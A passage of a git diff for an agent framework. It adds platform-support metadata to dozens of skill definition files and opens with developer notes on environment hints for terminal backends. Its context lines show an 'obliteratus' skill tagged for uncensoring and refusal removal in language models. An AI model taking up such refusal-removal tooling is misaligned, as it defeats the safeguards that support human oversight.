about the host OS, user home, cwd, terminal backend, and shell (bash vs. PowerShell on Windows) is emitted from `agent/prompt_builder.py::build_environment_hints()`. This is also where the WSL hint and per-backend probe logic live. The convention: + +- **Local terminal backend** → emit host info (OS, `$HOME`, cwd) + Windows-specific notes (hostname ≠ username, `terminal` uses bash not PowerShell). +- **Remote terminal backend** (anything in `_REMOTE_TERMINAL_BACKENDS`: `docker, singularity, modal, daytona, ssh, vercel_sandbox, managed_modal`) → **suppress** host info entirely and describe only the backend. A live `uname`/`whoami`/`pwd` probe runs inside the backend via `tools.environments.get_environment(...).execute(...)`, cached per process in `_BACKEND_PROBE_CACHE`, with a static fallback if the probe times out. +- **Key fact for prompt authoring:** when `TERMINAL_ENV != "local"`, *every* file tool (`read_file`, `write_file`, `patch`, `search_files`) runs inside the backend container, not on the host. The system prompt must never describe the host in that case — the agent can't touch it. + +Full design notes, the exact emitted strings, and testing pitfalls: +`references/prompt-builder-environment-hints.md`. + +**Refactor-safety pattern (POSIX-equivalence guard):** when you extract inline logic into a helper that adds Windows/platform-specific behavior, keep a `_legacy_` oracle function in the test file that's a verbatim copy of the old code, then parametrize-diff against it. Example: `tests/tools/test_code_execution_windows_env.py::TestPosixEquivalence`. This locks in the invariant that POSIX behavior is bit-for-bit identical and makes any future drift fail loudly with a clear diff. + ### Commit Conventions ``` diff --git a/skills/autonomous-ai-agents/opencode/SKILL.md b/skills/autonomous-ai-agents/opencode/SKILL.md index 41f921bdd62..b0c813c9c70 100644 --- a/skills/autonomous-ai-agents/opencode/SKILL.md +++ b/skills/autonomous-ai-agents/opencode/SKILL.md @@ -4,6 +4,7 @@ description: "Delegate coding to OpenCode CLI (features, PR review)." version: 1.2.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Coding-Agent, OpenCode, Autonomous, Refactoring, Code-Review] diff --git a/skills/creative/architecture-diagram/SKILL.md b/skills/creative/architecture-diagram/SKILL.md index a49a42c024e..2c813c53c13 100644 --- a/skills/creative/architecture-diagram/SKILL.md +++ b/skills/creative/architecture-diagram/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Cocoon AI (hello@cocoon-ai.com), ported by Hermes Agent license: MIT dependencies: [] +platforms: [linux, macos, windows] metadata: hermes: tags: [architecture, diagrams, SVG, HTML, visualization, infrastructure, cloud] diff --git a/skills/creative/ascii-art/SKILL.md b/skills/creative/ascii-art/SKILL.md index fe1f6bba0af..c3b5c7fb274 100644 --- a/skills/creative/ascii-art/SKILL.md +++ b/skills/creative/ascii-art/SKILL.md @@ -5,6 +5,7 @@ version: 4.0.0 author: 0xbyt4, Hermes Agent license: MIT dependencies: [] +platforms: [linux, macos, windows] metadata: hermes: tags: [ASCII, Art, Banners, Creative, Unicode, Text-Art, pyfiglet, figlet, cowsay, boxes] diff --git a/skills/creative/ascii-video/SKILL.md b/skills/creative/ascii-video/SKILL.md index 59843c01e5b..b3eba0ac177 100644 --- a/skills/creative/ascii-video/SKILL.md +++ b/skills/creative/ascii-video/SKILL.md @@ -1,6 +1,7 @@ --- name: ascii-video description: "ASCII video: convert video/audio to colored ASCII MP4/GIF." +platforms: [linux, macos, windows] --- # ASCII Video Production Pipeline diff --git a/skills/creative/baoyu-comic/SKILL.md b/skills/creative/baoyu-comic/SKILL.md index 6b3bef6e337..6745b55e04e 100644 --- a/skills/creative/baoyu-comic/SKILL.md +++ b/skills/creative/baoyu-comic/SKILL.md @@ -4,6 +4,7 @@ description: "Knowledge comics (知识漫画): educational, biography, tutorial. version: 1.56.1 author: 宝玉 (JimLiu) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [comic, knowledge-comic, creative, image-generation] diff --git a/skills/creative/baoyu-infographic/SKILL.md b/skills/creative/baoyu-infographic/SKILL.md index 740bd164d06..6206a5b220a 100644 --- a/skills/creative/baoyu-infographic/SKILL.md +++ b/skills/creative/baoyu-infographic/SKILL.md @@ -4,6 +4,7 @@ description: "Infographics: 21 layouts x 21 styles (信息图, 可视化)." version: 1.56.1 author: 宝玉 (JimLiu) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [infographic, visual-summary, creative, image-generation] diff --git a/skills/creative/claude-design/SKILL.md b/skills/creative/claude-design/SKILL.md index de276a5b982..673d1ff827a 100644 --- a/skills/creative/claude-design/SKILL.md +++ b/skills/creative/claude-design/SKILL.md @@ -4,6 +4,7 @@ description: Design one-off HTML artifacts (landing, deck, prototype). version: 1.0.0 author: BadTechBandit license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [design, html, prototype, ux, ui, creative, artifact, deck, motion, design-system] diff --git a/skills/creative/creative-ideation/SKILL.md b/skills/creative/creative-ideation/SKILL.md index 767e867e03d..27244252f0a 100644 --- a/skills/creative/creative-ideation/SKILL.md +++ b/skills/creative/creative-ideation/SKILL.md @@ -5,6 +5,7 @@ description: "Generate project ideas via creative constraints." version: 1.0.0 author: SHL0MS license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Creative, Ideation, Projects, Brainstorming, Inspiration] diff --git a/skills/creative/design-md/SKILL.md b/skills/creative/design-md/SKILL.md index 5884a60c603..6604be1979d 100644 --- a/skills/creative/design-md/SKILL.md +++ b/skills/creative/design-md/SKILL.md @@ -4,6 +4,7 @@ description: Author/validate/export Google's DESIGN.md token spec files. version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [design, design-system, tokens, ui, accessibility, wcag, tailwind, dtcg, google] diff --git a/skills/creative/excalidraw/SKILL.md b/skills/creative/excalidraw/SKILL.md index 10a0fa38bf0..0474391a400 100644 --- a/skills/creative/excalidraw/SKILL.md +++ b/skills/creative/excalidraw/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Hermes Agent license: MIT dependencies: [] +platforms: [linux, macos, windows] metadata: hermes: tags: [Excalidraw, Diagrams, Flowcharts, Architecture, Visualization, JSON] diff --git a/skills/creative/humanizer/SKILL.md b/skills/creative/humanizer/SKILL.md index 3801618d8eb..1bfa094837c 100644 --- a/skills/creative/humanizer/SKILL.md +++ b/skills/creative/humanizer/SKILL.md @@ -4,6 +4,7 @@ description: "Humanize text: strip AI-isms and add real voice." version: 2.5.1 author: Siqi Chen (@blader, https://github.com/blader/humanizer), ported by Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [writing, editing, humanize, anti-ai-slop, voice, prose, text] diff --git a/skills/creative/manim-video/SKILL.md b/skills/creative/manim-video/SKILL.md index 555f3fcd6d4..e82c7ccb2da 100644 --- a/skills/creative/manim-video/SKILL.md +++ b/skills/creative/manim-video/SKILL.md @@ -2,6 +2,7 @@ name: manim-video description: "Manim CE animations: 3Blue1Brown math/algo videos." version: 1.0.0 +platforms: [linux, macos, windows] --- # Manim Video Production Pipeline diff --git a/skills/creative/p5js/SKILL.md b/skills/creative/p5js/SKILL.md index ff0a955c2a2..819259c562a 100644 --- a/skills/creative/p5js/SKILL.md +++ b/skills/creative/p5js/SKILL.md @@ -2,6 +2,7 @@ name: p5js description: "p5.js sketches: gen art, shaders, interactive, 3D." version: 1.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [creative-coding, generative-art, p5js, canvas, interactive, visualization, webgl, shaders, animation] diff --git a/skills/creative/pixel-art/SKILL.md b/skills/creative/pixel-art/SKILL.md index 596712bf97d..910343ef27d 100644 --- a/skills/creative/pixel-art/SKILL.md +++ b/skills/creative/pixel-art/SKILL.md @@ -4,6 +4,7 @@ description: "Pixel art w/ era palettes (NES, Game Boy, PICO-8)." version: 2.0.0 author: dodo-reach license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [creative, pixel-art, arcade, snes, nes, gameboy, retro, image, video] diff --git a/skills/creative/popular-web-designs/SKILL.md b/skills/creative/popular-web-designs/SKILL.md index 4888c157ebc..9792a4e3779 100644 --- a/skills/creative/popular-web-designs/SKILL.md +++ b/skills/creative/popular-web-designs/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Hermes Agent + Teknium (design systems sourced from VoltAgent/awesome-design-md) license: MIT tags: [design, css, html, ui, web-development, design-systems, templates] +platforms: [linux, macos, windows] triggers: - build a page that looks like - make it look like stripe diff --git a/skills/creative/pretext/SKILL.md b/skills/creative/pretext/SKILL.md index 429dd8798f3..78f5ab2d959 100644 --- a/skills/creative/pretext/SKILL.md +++ b/skills/creative/pretext/SKILL.md @@ -4,6 +4,7 @@ description: "Use when building creative browser demos with @chenglou/pretext version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [creative-coding, typography, pretext, ascii-art, canvas, generative, text-layout, kinetic-typography] diff --git a/skills/creative/sketch/SKILL.md b/skills/creative/sketch/SKILL.md index b84f143dd4a..6e49585acd4 100644 --- a/skills/creative/sketch/SKILL.md +++ b/skills/creative/sketch/SKILL.md @@ -4,6 +4,7 @@ description: "Throwaway HTML mockups: 2-3 design variants to compare." version: 1.0.0 author: Hermes Agent (adapted from gsd-build/get-shit-done) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [sketch, mockup, design, ui, prototype, html, variants, exploration, wireframe, comparison] diff --git a/skills/creative/songwriting-and-ai-music/SKILL.md b/skills/creative/songwriting-and-ai-music/SKILL.md index 84bc3bc313e..806eb874269 100644 --- a/skills/creative/songwriting-and-ai-music/SKILL.md +++ b/skills/creative/songwriting-and-ai-music/SKILL.md @@ -2,6 +2,7 @@ name: songwriting-and-ai-music description: "Songwriting craft and Suno AI music prompts." tags: [songwriting, music, suno, parody, lyrics, creative] +platforms: [linux, macos, windows] triggers: - writing a song - song lyrics diff --git a/skills/creative/touchdesigner-mcp/SKILL.md b/skills/creative/touchdesigner-mcp/SKILL.md index 7deab319dad..745e9ac838e 100644 --- a/skills/creative/touchdesigner-mcp/SKILL.md +++ b/skills/creative/touchdesigner-mcp/SKILL.md @@ -4,6 +4,7 @@ description: "Control a running TouchDesigner instance via twozero MCP — creat version: 1.1.0 author: kshitijk4poor license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [TouchDesigner, MCP, twozero, creative-coding, real-time-visuals, generative-art, audio-reactive, VJ, installation, GLSL] diff --git a/skills/data-science/jupyter-live-kernel/SKILL.md b/skills/data-science/jupyter-live-kernel/SKILL.md index bfb4cd5b866..53b0574c770 100644 --- a/skills/data-science/jupyter-live-kernel/SKILL.md +++ b/skills/data-science/jupyter-live-kernel/SKILL.md @@ -4,6 +4,7 @@ description: "Iterative Python via live Jupyter kernel (hamelnb)." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [jupyter, notebook, repl, data-science, exploration, iterative] diff --git a/skills/devops/kanban-orchestrator/SKILL.md b/skills/devops/kanban-orchestrator/SKILL.md index 905cf4db981..3f0671321a6 100644 --- a/skills/devops/kanban-orchestrator/SKILL.md +++ b/skills/devops/kanban-orchestrator/SKILL.md @@ -2,6 +2,7 @@ name: kanban-orchestrator description: Decomposition playbook + specialist-roster conventions + anti-temptation rules for an orchestrator profile routing work through Kanban. The "don't do the work yourself" rule and the basic lifecycle are auto-injected into every kanban worker's system prompt; this skill is the deeper playbook when you're specifically playing the orchestrator role. version: 2.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [kanban, multi-agent, orchestration, routing] diff --git a/skills/devops/kanban-worker/SKILL.md b/skills/devops/kanban-worker/SKILL.md index 948336f9c66..cfbbecdcec5 100644 --- a/skills/devops/kanban-worker/SKILL.md +++ b/skills/devops/kanban-worker/SKILL.md @@ -2,6 +2,7 @@ name: kanban-worker description: Pitfalls, examples, and edge cases for Hermes Kanban workers. The lifecycle itself is auto-injected into every worker's system prompt as KANBAN_GUIDANCE (from agent/prompt_builder.py); this skill is what you load when you want deeper detail on specific scenarios. version: 2.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [kanban, multi-agent, collaboration, workflow, pitfalls] diff --git a/skills/devops/webhook-subscriptions/SKILL.md b/skills/devops/webhook-subscriptions/SKILL.md index 6e4e896ec39..1f359b1a557 100644 --- a/skills/devops/webhook-subscriptions/SKILL.md +++ b/skills/devops/webhook-subscriptions/SKILL.md @@ -2,6 +2,7 @@ name: webhook-subscriptions description: "Webhook subscriptions: event-driven agent runs." version: 1.1.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [webhook, events, automation, integrations, notifications, push] diff --git a/skills/dogfood/SKILL.md b/skills/dogfood/SKILL.md index 27573521b8b..82d7dca2013 100644 --- a/skills/dogfood/SKILL.md +++ b/skills/dogfood/SKILL.md @@ -2,6 +2,7 @@ name: dogfood description: "Exploratory QA of web apps: find bugs, evidence, reports." version: 1.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [qa, testing, browser, web, dogfood] diff --git a/skills/email/himalaya/SKILL.md b/skills/email/himalaya/SKILL.md index 58a23ba7d9c..d7392e6bdc8 100644 --- a/skills/email/himalaya/SKILL.md +++ b/skills/email/himalaya/SKILL.md @@ -4,6 +4,7 @@ description: "Himalaya CLI: IMAP/SMTP email from terminal." version: 1.1.0 author: community license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Email, IMAP, SMTP, CLI, Communication] diff --git a/skills/gaming/minecraft-modpack-server/SKILL.md b/skills/gaming/minecraft-modpack-server/SKILL.md index e307f72f4f4..0164f7ed9b6 100644 --- a/skills/gaming/minecraft-modpack-server/SKILL.md +++ b/skills/gaming/minecraft-modpack-server/SKILL.md @@ -2,6 +2,7 @@ name: minecraft-modpack-server description: "Host modded Minecraft servers (CurseForge, Modrinth)." tags: [minecraft, gaming, server, neoforge, forge, modpack] +platforms: [linux, macos] --- # Minecraft Modpack Server Setup diff --git a/skills/gaming/pokemon-player/SKILL.md b/skills/gaming/pokemon-player/SKILL.md index 2a505cca6e6..831387c5f40 100644 --- a/skills/gaming/pokemon-player/SKILL.md +++ b/skills/gaming/pokemon-player/SKILL.md @@ -2,6 +2,7 @@ name: pokemon-player description: "Play Pokemon via headless emulator + RAM reads." tags: [gaming, pokemon, emulator, pyboy, gameplay, gameboy] +platforms: [linux, macos, windows] --- # Pokemon Player diff --git a/skills/github/codebase-inspection/SKILL.md b/skills/github/codebase-inspection/SKILL.md index b52b8d1728e..d42b9a2292a 100644 --- a/skills/github/codebase-inspection/SKILL.md +++ b/skills/github/codebase-inspection/SKILL.md @@ -4,6 +4,7 @@ description: "Inspect codebases w/ pygount: LOC, languages, ratios." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [LOC, Code Analysis, pygount, Codebase, Metrics, Repository] diff --git a/skills/github/github-auth/SKILL.md b/skills/github/github-auth/SKILL.md index b4f0ddef65c..6b929a408d5 100644 --- a/skills/github/github-auth/SKILL.md +++ b/skills/github/github-auth/SKILL.md @@ -4,6 +4,7 @@ description: "GitHub auth setup: HTTPS tokens, SSH keys, gh CLI login." version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [GitHub, Authentication, Git, gh-cli, SSH, Setup] diff --git a/skills/github/github-code-review/SKILL.md b/skills/github/github-code-review/SKILL.md index a2f1e546d33..3b50ac45279 100644 --- a/skills/github/github-code-review/SKILL.md +++ b/skills/github/github-code-review/SKILL.md @@ -4,6 +4,7 @@ description: "Review PRs: diffs, inline comments via gh or REST." version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [GitHub, Code-Review, Pull-Requests, Git, Quality] diff --git a/skills/github/github-issues/SKILL.md b/skills/github/github-issues/SKILL.md index fe6e6e0c18c..338074f885c 100644 --- a/skills/github/github-issues/SKILL.md +++ b/skills/github/github-issues/SKILL.md @@ -4,6 +4,7 @@ description: "Create, triage, label, assign GitHub issues via gh or REST." version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [GitHub, Issues, Project-Management, Bug-Tracking, Triage] diff --git a/skills/github/github-pr-workflow/SKILL.md b/skills/github/github-pr-workflow/SKILL.md index e3ca20fb347..0b02eca3d1e 100644 --- a/skills/github/github-pr-workflow/SKILL.md +++ b/skills/github/github-pr-workflow/SKILL.md @@ -4,6 +4,7 @@ description: "GitHub PR lifecycle: branch, commit, open, CI, merge." version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [GitHub, Pull-Requests, CI/CD, Git, Automation, Merge] diff --git a/skills/github/github-repo-management/SKILL.md b/skills/github/github-repo-management/SKILL.md index 0ca8830c9c4..0ba049e2787 100644 --- a/skills/github/github-repo-management/SKILL.md +++ b/skills/github/github-repo-management/SKILL.md @@ -4,6 +4,7 @@ description: "Clone/create/fork repos; manage remotes, releases." version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [GitHub, Repositories, Git, Releases, Secrets, Configuration] diff --git a/skills/mcp/native-mcp/SKILL.md b/skills/mcp/native-mcp/SKILL.md index a14aa58d159..ca3896745db 100644 --- a/skills/mcp/native-mcp/SKILL.md +++ b/skills/mcp/native-mcp/SKILL.md @@ -4,6 +4,7 @@ description: "MCP client: connect servers, register tools (stdio/HTTP)." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [MCP, Tools, Integrations] diff --git a/skills/media/gif-search/SKILL.md b/skills/media/gif-search/SKILL.md index 373f31949d2..1a28b8b293d 100644 --- a/skills/media/gif-search/SKILL.md +++ b/skills/media/gif-search/SKILL.md @@ -4,6 +4,7 @@ description: "Search/download GIFs from Tenor via curl + jq." version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] prerequisites: env_vars: [TENOR_API_KEY] commands: [curl, jq] diff --git a/skills/media/heartmula/SKILL.md b/skills/media/heartmula/SKILL.md index 1a26cf44f62..e6adc4b0965 100644 --- a/skills/media/heartmula/SKILL.md +++ b/skills/media/heartmula/SKILL.md @@ -2,6 +2,7 @@ name: heartmula description: "HeartMuLa: Suno-like song generation from lyrics + tags." version: 1.0.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [music, audio, generation, ai, heartmula, heartcodec, lyrics, songs] diff --git a/skills/media/songsee/SKILL.md b/skills/media/songsee/SKILL.md index 5904e41f3f6..a74c1ab2716 100644 --- a/skills/media/songsee/SKILL.md +++ b/skills/media/songsee/SKILL.md @@ -4,6 +4,7 @@ description: "Audio spectrograms/features (mel, chroma, MFCC) via CLI." version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Audio, Visualization, Spectrogram, Music, Analysis] diff --git a/skills/media/spotify/SKILL.md b/skills/media/spotify/SKILL.md index c0a15d6dc56..47fe0e24b9c 100644 --- a/skills/media/spotify/SKILL.md +++ b/skills/media/spotify/SKILL.md @@ -4,6 +4,7 @@ description: "Spotify: play, search, queue, manage playlists and devices." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] prerequisites: tools: [spotify_playback, spotify_devices, spotify_queue, spotify_search, spotify_playlists, spotify_albums, spotify_library] metadata: diff --git a/skills/media/youtube-content/SKILL.md b/skills/media/youtube-content/SKILL.md index 82181d704cf..32828f75986 100644 --- a/skills/media/youtube-content/SKILL.md +++ b/skills/media/youtube-content/SKILL.md @@ -1,6 +1,7 @@ --- name: youtube-content description: "YouTube transcripts to summaries, threads, blogs." +platforms: [linux, macos, windows] --- # YouTube Content Tool diff --git a/skills/mlops/evaluation/lm-evaluation-harness/SKILL.md b/skills/mlops/evaluation/lm-evaluation-harness/SKILL.md index ab0325bd4f0..79c59f1e340 100644 --- a/skills/mlops/evaluation/lm-evaluation-harness/SKILL.md +++ b/skills/mlops/evaluation/lm-evaluation-harness/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [lm-eval, transformers, vllm] +platforms: [linux, macos] metadata: hermes: tags: [Evaluation, LM Evaluation Harness, Benchmarking, MMLU, HumanEval, GSM8K, EleutherAI, Model Quality, Academic Benchmarks, Industry Standard] diff --git a/skills/mlops/evaluation/weights-and-biases/SKILL.md b/skills/mlops/evaluation/weights-and-biases/SKILL.md index bb026f4e918..6dd17694b12 100644 --- a/skills/mlops/evaluation/weights-and-biases/SKILL.md +++ b/skills/mlops/evaluation/weights-and-biases/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [wandb] +platforms: [linux, macos, windows] metadata: hermes: tags: [MLOps, Weights And Biases, WandB, Experiment Tracking, Hyperparameter Tuning, Model Registry, Collaboration, Real-Time Visualization, PyTorch, TensorFlow, HuggingFace] diff --git a/skills/mlops/huggingface-hub/SKILL.md b/skills/mlops/huggingface-hub/SKILL.md index 218a1ee16af..a9ed104b3c0 100644 --- a/skills/mlops/huggingface-hub/SKILL.md +++ b/skills/mlops/huggingface-hub/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Hugging Face license: MIT tags: [huggingface, hf, models, datasets, hub, mlops] +platforms: [linux, macos, windows] --- # Hugging Face CLI (`hf`) Reference Guide diff --git a/skills/mlops/inference/llama-cpp/SKILL.md b/skills/mlops/inference/llama-cpp/SKILL.md index 0844e4d5a48..07fe98a81f7 100644 --- a/skills/mlops/inference/llama-cpp/SKILL.md +++ b/skills/mlops/inference/llama-cpp/SKILL.md @@ -5,6 +5,7 @@ version: 2.1.2 author: Orchestra Research license: MIT dependencies: [llama-cpp-python>=0.2.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [llama.cpp, GGUF, Quantization, Hugging Face Hub, CPU Inference, Apple Silicon, Edge Deployment, AMD GPUs, Intel GPUs, NVIDIA, URL-first] diff --git a/skills/mlops/inference/obliteratus/SKILL.md b/skills/mlops/inference/obliteratus/SKILL.md index 14e5770a83f..ea93758327e 100644 --- a/skills/mlops/inference/obliteratus/SKILL.md +++ b/skills/mlops/inference/obliteratus/SKILL.md @@ -5,6 +5,7 @@ version: 2.0.0 author: Hermes Agent license: MIT dependencies: [obliteratus, torch, transformers, bitsandbytes, accelerate, safetensors] +platforms: [linux, macos] metadata: hermes: tags: [Abliteration, Uncensoring, Refusal-Removal, LLM, Weight-Projection, SVD, Mechanistic-Interpretability, HuggingFace, Model-Surgery] diff --git a/skills/mlops/inference/outlines/SKILL.md b/skills/mlops/inference/outlines/SKILL.md index 8415a9a65cf..148a28fa692 100644 --- a/skills/mlops/inference/outlines/SKILL.md +++ b/skills/mlops/inference/outlines/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [outlines, transformers, vllm, pydantic] +platforms: [linux, macos, windows] metadata: hermes: tags: [Prompt Engineering, Outlines, Structured Generation, JSON Schema, Pydantic, Local Models, Grammar-Based Generation, vLLM, Transformers, Type Safety] diff --git a/skills/mlops/inference/vllm/SKILL.md b/skills/mlops/inference/vllm/SKILL.md index a88dd45c19e..2f754e1b0f5 100644 --- a/skills/mlops/inference/vllm/SKILL.md +++ b/skills/mlops/inference/vllm/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [vllm, torch, transformers] +platforms: [linux, macos] metadata: hermes: tags: [vLLM, Inference Serving, PagedAttention, Continuous Batching, High Throughput, Production, OpenAI API, Quantization, Tensor Parallelism] diff --git a/skills/mlops/models/audiocraft/SKILL.md b/skills/mlops/models/audiocraft/SKILL.md index b00bce43905..824147fe411 100644 --- a/skills/mlops/models/audiocraft/SKILL.md +++ b/skills/mlops/models/audiocraft/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [audiocraft, torch>=2.0.0, transformers>=4.30.0] +platforms: [linux, macos] metadata: hermes: tags: [Multimodal, Audio Generation, Text-to-Music, Text-to-Audio, MusicGen] diff --git a/skills/mlops/models/segment-anything/SKILL.md b/skills/mlops/models/segment-anything/SKILL.md index a21e05ee4c7..765176d9c16 100644 --- a/skills/mlops/models/segment-anything/SKILL.md +++ b/skills/mlops/models/segment-anything/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [segment-anything, transformers>=4.30.0, torch>=1.7.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [Multimodal, Image Segmentation, Computer Vision, SAM, Zero-Shot] diff --git a/skills/mlops/research/dspy/SKILL.md b/skills/mlops/research/dspy/SKILL.md index 2cb1ddc84bd..674cb7e7df5 100644 --- a/skills/mlops/research/dspy/SKILL.md +++ b/skills/mlops/research/dspy/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [dspy, openai, anthropic] +platforms: [linux, macos, windows] metadata: hermes: tags: [Prompt Engineering, DSPy, Declarative Programming, RAG, Agents, Prompt Optimization, LM Programming, Stanford NLP, Automatic Optimization, Modular AI] diff --git a/skills/mlops/training/axolotl/SKILL.md b/skills/mlops/training/axolotl/SKILL.md index 435b6428569..8b4297da067 100644 --- a/skills/mlops/training/axolotl/SKILL.md +++ b/skills/mlops/training/axolotl/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [axolotl, torch, transformers, datasets, peft, accelerate, deepspeed] +platforms: [linux, macos] metadata: hermes: tags: [Fine-Tuning, Axolotl, LLM, LoRA, QLoRA, DPO, KTO, ORPO, GRPO, YAML, HuggingFace, DeepSpeed, Multimodal] diff --git a/skills/mlops/training/trl-fine-tuning/SKILL.md b/skills/mlops/training/trl-fine-tuning/SKILL.md index c730759bd60..1fc6f6ccf58 100644 --- a/skills/mlops/training/trl-fine-tuning/SKILL.md +++ b/skills/mlops/training/trl-fine-tuning/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [trl, transformers, datasets, peft, accelerate, torch] +platforms: [linux, macos, windows] metadata: hermes: tags: [Post-Training, TRL, Reinforcement Learning, Fine-Tuning, SFT, DPO, PPO, GRPO, RLHF, Preference Alignment, HuggingFace] diff --git a/skills/mlops/training/unsloth/SKILL.md b/skills/mlops/training/unsloth/SKILL.md index 90254747c5b..dcadded5275 100644 --- a/skills/mlops/training/unsloth/SKILL.md +++ b/skills/mlops/training/unsloth/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [unsloth, torch, transformers, trl, datasets, peft] +platforms: [linux, macos] metadata: hermes: tags: [Fine-Tuning, Unsloth, Fast Training, LoRA, QLoRA, Memory-Efficient, Optimization, Llama, Mistral, Gemma, Qwen] diff --git a/skills/note-taking/obsidian/SKILL.md b/skills/note-taking/obsidian/SKILL.md index 37bceb9f4bd..15810900889 100644 --- a/skills/note-taking/obsidian/SKILL.md +++ b/skills/note-taking/obsidian/SKILL.md @@ -1,6 +1,7 @@ --- name: obsidian description: Read, search, create, and edit notes in the Obsidian vault. +platforms: [linux, macos, windows] --- # Obsidian Vault diff --git a/skills/productivity/airtable/SKILL.md b/skills/productivity/airtable/SKILL.md index 5b684e8dbff..547e2a14b73 100644 --- a/skills/productivity/airtable/SKILL.md +++ b/skills/productivity/airtable/SKILL.md @@ -4,6 +4,7 @@ description: Airtable REST API via curl. Records CRUD, filters, upserts. version: 1.1.0 author: community license: MIT +platforms: [linux, macos, windows] prerequisites: env_vars: [AIRTABLE_API_KEY] commands: [curl] diff --git a/skills/productivity/google-workspace/SKILL.md b/skills/productivity/google-workspace/SKILL.md index 79ac7051dbd..5668d80f28a 100644 --- a/skills/productivity/google-workspace/SKILL.md +++ b/skills/productivity/google-workspace/SKILL.md @@ -4,6 +4,7 @@ description: "Gmail, Calendar, Drive, Docs, Sheets via gws CLI or Python." version: 1.1.0 author: Nous Research license: MIT +platforms: [linux, macos, windows] required_credential_files: - path: google_token.json description: Google OAuth2 token (created by setup script) diff --git a/skills/productivity/linear/SKILL.md b/skills/productivity/linear/SKILL.md index 88db1167e4c..a08a03e439e 100644 --- a/skills/productivity/linear/SKILL.md +++ b/skills/productivity/linear/SKILL.md @@ -4,6 +4,7 @@ description: "Linear: manage issues, projects, teams via GraphQL + curl." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] prerequisites: env_vars: [LINEAR_API_KEY] commands: [curl] diff --git a/skills/productivity/maps/SKILL.md b/skills/productivity/maps/SKILL.md index 73715a8dd57..3c1e8af3dfb 100644 --- a/skills/productivity/maps/SKILL.md +++ b/skills/productivity/maps/SKILL.md @@ -4,6 +4,7 @@ description: "Geocode, POIs, routes, timezones via OpenStreetMap/OSRM." version: 1.2.0 author: Mibayy license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [maps, geocoding, places, routing, distance, directions, nearby, location, openstreetmap, nominatim, overpass, osrm] diff --git a/skills/productivity/nano-pdf/SKILL.md b/skills/productivity/nano-pdf/SKILL.md index ffb3f75a2ba..68d38c6710a 100644 --- a/skills/productivity/nano-pdf/SKILL.md +++ b/skills/productivity/nano-pdf/SKILL.md @@ -4,6 +4,7 @@ description: "Edit PDF text/typos/titles via nano-pdf CLI (NL prompts)." version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [PDF, Documents, Editing, NLP, Productivity] diff --git a/skills/productivity/notion/SKILL.md b/skills/productivity/notion/SKILL.md index 0664bd8edbb..b645c088f28 100644 --- a/skills/productivity/notion/SKILL.md +++ b/skills/productivity/notion/SKILL.md @@ -4,6 +4,7 @@ description: "Notion API via curl: pages, databases, blocks, search." version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Notion, Productivity, Notes, Database, API] diff --git a/skills/productivity/ocr-and-documents/SKILL.md b/skills/productivity/ocr-and-documents/SKILL.md index e47e5a015e9..9295b15e0fc 100644 --- 